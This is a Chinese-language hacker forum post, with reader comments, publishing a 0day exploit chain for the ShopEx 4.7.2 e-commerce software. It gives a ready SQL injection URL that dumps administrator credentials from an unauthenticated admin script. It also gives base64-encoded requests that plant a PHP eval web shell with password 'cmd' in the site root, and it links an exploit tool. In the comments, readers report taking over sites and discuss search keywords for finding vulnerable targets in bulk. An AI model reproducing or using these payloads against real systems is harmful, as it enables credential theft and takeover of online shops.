ShopEx 4.7.2 0day
# 鬼仔:感谢无名的投递。
作者:无名
我是无名,这次写一个shopex4.7.2漏洞,
已经通知了官方,今天就发出来,
首先syssite/shopadmin/order_service.php后台这个文件没有验证用户身份,
重要的是$v_id参数没有过滤
syssite/shopadmin/order_service.php?m_id=1&key=986078fbe1474d61464d08535f1002a8&&v_id=1+and+1=2+union+select+concat(username,0x20,userpass),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+sdb_mall_offer_operater%23
直接获取管理员账号密码md5自己解,字段数不对用order by 猜,
有的站只能显示出来前14位,就用left(password,14) mid(password,15,4) right(password,14) 合起来就是完整的32位密码了
如果表名改了,mysql 5.0以上版本自己爆,相关内容不再叙述
登陆后台,接下来讲shell获取部分,(普通管理员一样利用)
分析根目录下htmlcache.php
分析代码的朋友注意了,
$url = base64_decode( $_GET['url'] );
$filename = base64_decode( $_GET['filename'] );
$signcode = $_GET['signcode'];
$verifycode = md5( $url.$filename."1e236443e5a30b09910e0d48c994b8e6" );
if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );
}
变量 url filename 提交的时候用base64 加密,
下面几句
if ( $_cvar['seoCacheTime'] == "0" )
{
exit( );
}
if ( substr( $filename, 0, 3 ) == "../" )
{
exit( );
}
if ( $verifycode != $signcode )
{
exit( );
}
$filename 不能有 ../
$verifycode 要等于$signcode
$_cvar[‘seoCacheTime’] 在syssite\home\shop\1\shop.cache.php有定义,默认是0
前面几个很容易就绕过去了,$_cvar[‘seoCacheTime’] 我在后台里一直没有找到在哪里设置,
分析代码发现,进入后台,直接在url后面输入syssite/shopadmin/admin_seo_act.php?act=savecachetime&seocachetime=60
设置seocachetime为60
好了,条件满足,开始获取shell
base64分别加密
http://你的url/test.txt 为$url变量,()
123.php 为$filename变量
$signcode是url+filename+1e236443e5a30b09910e0d48c994b8e6 的32位md5值
其实url完全不用获取test.txt内容的,有时候会获取不成功,
url直接写成http://www.baidu.com/<?php eval($_POST[cmd]);?> base64加密就行了
加密结果
url aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
filename MTIzLnBocA==
signcode 186350a50934cb17b9bc47f5e067adbe
最后提交
htmlcache.php?url=aHR0cDovL3d3dy5iYWlkdS5jb20vPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=MTIzLnBocA==&signcode=186350a50934cb17b9bc47f5e067adbe
直接在根目录生成123.php内容为一句话后门,密码cmd
喜欢分析代码的朋友如果有什么不明白的地方,或者有什么错误的地方,欢迎指正
联系团队
SD_无名 QQ 57112848
SD_′&廢. QQ 5081558
这里只是技术讨论,任何利用本文章做破坏的,本人概不负责
最后附上一个半成品的利用工具
下载地址:shopex472_exp.rar
Database error,Session halted.
大多数都是出现这个问题。获取不到密码
这次不知道要有多少网站遭殃了……
不知道官方会不会找我麻烦
哈哈 能有什么麻烦 你已经提交给过它了 你也没拿他什么好处。
Database error,Session halted.
这个是数据库查询出错了,但是没爆错误代码,
order by 查查字段数,
或者是表不对,mysql5.0以上就爆表出来看,
文章里面有写过的,
貌似利用起来有点烦琐 想批量拿站有点难 三小时拿下了三个站点 均提不了权。
对了 无名兄弟能给出修复方法最好了
Warning: filemtime() [function.filemtime]: Stat failed for tty.php (errno=2 – No such file or directory) in /www/users/topate.com.cn/htmlcache.php on line 40
后台提交一句马出现上面代码 很闹心,,貌似是主机设置了权限?
正在针对这个漏洞些工具…似乎挺麻烦的…
有一个问题要问一下…就是用Google搜索关键字的时候搜索哪些关键字能较精确的定位在ShopEx和4.7.2的版本范围
– -|||…头疼的路过…
大范围搜索,然后判断根目录下version.txt